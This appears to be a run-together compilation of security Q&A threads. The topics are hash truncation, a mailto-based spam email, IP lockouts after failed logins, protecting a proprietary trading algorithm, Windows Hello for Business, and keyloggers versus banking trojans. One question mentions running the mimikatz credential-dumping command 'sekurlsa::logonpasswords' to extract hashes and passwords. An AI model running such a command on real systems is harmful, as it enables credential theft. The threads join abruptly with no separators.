It takes a trained cryptographer to tell you which usage of a hash function tolerates truncation, and which does not. This depends on the hash function itself, how it is used, and in what context. Many trained cryptographers will answer "don't do it" in most cases, anyway, because a big part of cryptography training is about realizing that a single human will never be able to think of everything. I am a trained cryptographer and thus I tell you: don't do it.


Trying to understand the point of this scam email I was reviewing my spam folder and spotted this:

People are going to have one of two reactions:

Hooray! Free porn! Confirm, confirm, confirm! OR
OMG! I didn't sign up for porn! Now everyone can see my profile! I'm so embarrassed! Close, close, close!

I inspected the buttons and links in the email and they are all <a> with mailto in the href with multiple addresses in the mailto. Many, many addresses. All different like backpackersworld.com and tasmaniatours.com.au and yandex.ru.

I have seen this methodology in a few emails now that I'm looking for it.

I'm trying to understand the point of this attack. Are they trying to harvest email address confirmations? My email address has been in countless breaches because "the internet". It's not a state secret. Seems a lot of effort to go to for something that is public knowledge.

I'm not sure what to warn my users about. "Don't click suspicious links ever. If you click this type it will expose your email address... er... some more."

What am I missing?

What it might be doing is to generate a list of email addresses of people who click and what they click on. Qualified email addresses are more useful than just knowing what email address exists.


Is it good practice to ban an IP address if too many login attempts are made from it? Since an IP address does not necessarily represent a specific device, but probably a whole network/company/etc. does it at all make sense to block an IP address if there is a significant amount of false login tries from it?

I was planning to implement IP checking as well as tries for a specific user/account/email, but I am not sure if it is better to leave the IP check out completely therefore.

On the other hand this allows an attacker to pretty much try a specific amount of passwords for every user without ever getting banned (at the same time blocking those users from being able to log in since their accounts will be locked for a while).

What is the correct approach to prevent something like that (possibly without using dedicated hardware)?

The answer to this question very much depends on the security posture of your site, which decides whether the risk of unauthorised access is greater or lower than the risk of Denial of Service for some users.

For high risk sites, I might go with the blocking option, especially where most of the user base is likely to be home users and therefore is likely to have distinct IP addresses.

One compromise might be where you detect password guessing attacks, add some anti-automation (e.g. CAPTCHA) to logins from that IP address for a while.  That has the effect of making the attack harder to pull off while not completely blocking legitimate users from the site.

If you still get lots of invalid logins with the CAPTCHA completed then it would sound like you're seeing a more targeted attack (as they'd likely need to pay for a CAPTCHA solving service if your CAPTCHA is any good), and at that point I'd be more inclined to block the IP address for a while and redirect users to a message explaining the block (something like "malicious activity has been detected from your IP address, please contact support on [your_support_email_here]).


Keeping valuable algorithms secret Given a securities trading algorithm that is very effective and thereby very valuable, how do you keep it secret and protect it from theft or copying? What techniques or architecture is the best?

The algorithm will of course need some input data and output some data. It will also need maintenance and development.

Preferably it would be connected to the network, but then there are all kinds of threats and possibilities of security breaches.

People are working on different parts of the algorithm either as software developers, testers, admins or as users. People in themselves pose security risks in that they may copy the parts that they have access to.

Here are some of my thoughts up to now:

Some organizations have an internal network that is not connected to the external network except through humans and USB sticks. The Stuxnet virus shows the USB stick approach is not enough to keep secrets secret. Humans have a very limited bandwidth and have a tendency for introducing a lot of transmission errors.

Some organizations instead of a direct network connection have a simple to analyze and understand RS232 serial connection to the outside world with a very limited bandwidth, and if too much data is being transmitted, they cut the connection until they have analyzed what data was being sent and why.

Extracting the valuable part from the standard straight forward parts of the algorithm reduces the target area.

Running on OpenBSD may help avoid several types of problems.

Reverse proxy
Firewall
Up-to-date antivirus
Honey pots to detect intrusions
Storing everything on Truecrypt volumes
Avoiding forgiving languages such as PHP, C, C++ and preferring languages that do additional checking such as C# or Java.

I think Warren Buffett has the ultimate security for his algorithm in that he keeps it in his head, and does not use a computer or a mobile phone.

There are two parts to this question:

Don't let people see the algorithm, implementation, etc.  This is standard IT security, and I'll discuss below some possible defenses.
Don't let people learn anything from their interaction with the algorithm.  This part may be a little less obvious, but if you allow people you don't trust to feed inputs to the algorithm and observe the outputs, then (depending upon the specifics of the situation) they might be able to learn something of your secret sauce.  You'll have to determine whether that is indeed the case, and how to defend against it (e.g., by limiting access to inputs or outputs to the algorithm).

As far as how to protect the algorithm and its implementation, there is a range of possible defenses.  Each has its own tradeoffs, and you'll need to evaluate them in the context of their business impact as well as the degree of risk you are facing.

Isolation.   Run the code on its own server.  Store the source code on a totally separate system.  Choose a limited group of developers who are given access to it.  Keep it separate from all of your usual systems.
Hardening. Configure the server that runs this code in a highly secure way.  Don't run anything else on the server.  Lock down the configuration.  Set up firewalls and strict access control.  If you search on this site, you'll find a great deal of information on server hardening.
Network separation. Run the server on a local internal network only, which is completely disconnected from the Internet (no machine on that local network is connected to the Internet, or to anything that's connected to the Internet, or anything that's connected to, etc., to anything that's connected to the Internet, transitively).  I recommend using strict red/black separation, as it helps ensure separation.
Airgapping. Alternatively, disconnect the server from every network entirely, and use only sneakernet.  However, instead of carrying data on USB sticks, I would recommend using write-once media (e.g., CD-R, DVD, etc.), as that reduces the risk of viruses travelling the wrong direction.  Turn off autorun etc.  Set up software on the critical server that checks the contents of the DVD before using it (e.g., checking that it is of the expected type, has the expected format, and so forth).
Physical security. Restrict access to the servers on which this algorithm and code runs and lives, to a limited set of trusted staff.

See also Contract requires me to work with sensitive IP, severe penalties for loss of data to 3rd parties. Some protection pointers please for some additional techniques that may be of interest (even though the situation is a bit different).


Lateral Movement: What is the benefit of Windows Hello For Business? I work as a security researcher, tonight I implemented Windows Hello For Business in our environment, because it is marketed as the "passwordless way of the future" and I wanted to see if it holds up to its promises.

The decision was made to go on-premise with certificate-based authentication (AD2016+ADFS+WindowsCA), and then to test it out from a lateral movement perspective. I registered my laptop and enrolled WH4B with facial recognition and backup pin. Albeit the installation itself was a real PITA (10+ hours to get it running) it now works fine and I can see how face unlock is a nice convenience factor compared to typing in a password.

But security wise? run mimikatz... sekurlsa::logonpasswords... and I still get all the NTLM hashes, kerberos tickets and plaintext passwords. Lateral movement: same as before. nothing has changed.

Did I implement WH4B wrong or is this just the way it is? I followed this Microsoft guide.

Disclosure: I work on the team that builds WHfB.

Windows Hello for Business is only one vertical for reducing credential theft and lateral movement. There's no one-size-fits-all solution for this problem because the space is so huge.

Windows Hello is intended to prevent the theft of long term secrets so that attackers are forced to move higher up the stack to short term or ephemeral secrets. That on it's own makes it more detectable, limits attackers to shorter windows of attack, and prevents movement between machines and services. This is done by creating per-device keys for a user, and using the biometrics or PIN to unlock those keys. The keys themselves are device-bound through encryption by the TPM. Those keys are then used as client credentials for Kerberos through PKInit.

That does not mean you can't steal derived secrets like Kerberos tickets or NTLM hashes. There are other features that make that more difficult, like Credential Guard or LSA Isolation.


why would keyloggers be used for stealing money less often than banking malware? I read Kaspersky statistic and I saw this image :

Why would keyloggers be used for stealing money less often than banking malware?

The main reason could be the attack vectors used to spread them.

You can read from the documentation you linked to that malware banking (trojans mainly) are quite easily spread via spams and  or by intercepting the user's payment data  after injecting random HTML code in the web page displayed by the browser (if you read The Emperor’s New Security Indicators: An evaluation of website authentication and the effect of role playing on usability studies, you will notice even most bank users who are taught additional instructions to behave securely are trapped easily by attackers).

Whereas it can be more complicated to fulfill the same goal with the use of keyloggers. If you look how some bank keyloggers have been a successful attack you will notice it is quite difficult for the attack to take place. It is the case, for example, for the famous Sumitomo bank keylogger that was successful only after a cleaning staff placed hardware bugs onto the keyboard sockets at the back of the bank's computers where they could not be seen and then reattached the keyboards and this  gang are understood to have also got around the bank's 24 hour video surveillance of its offices as tapes that would have shown the cleaners at work have now been found to be blank. As you can see, this keylogger needed more resources (human, mainly) to be successful.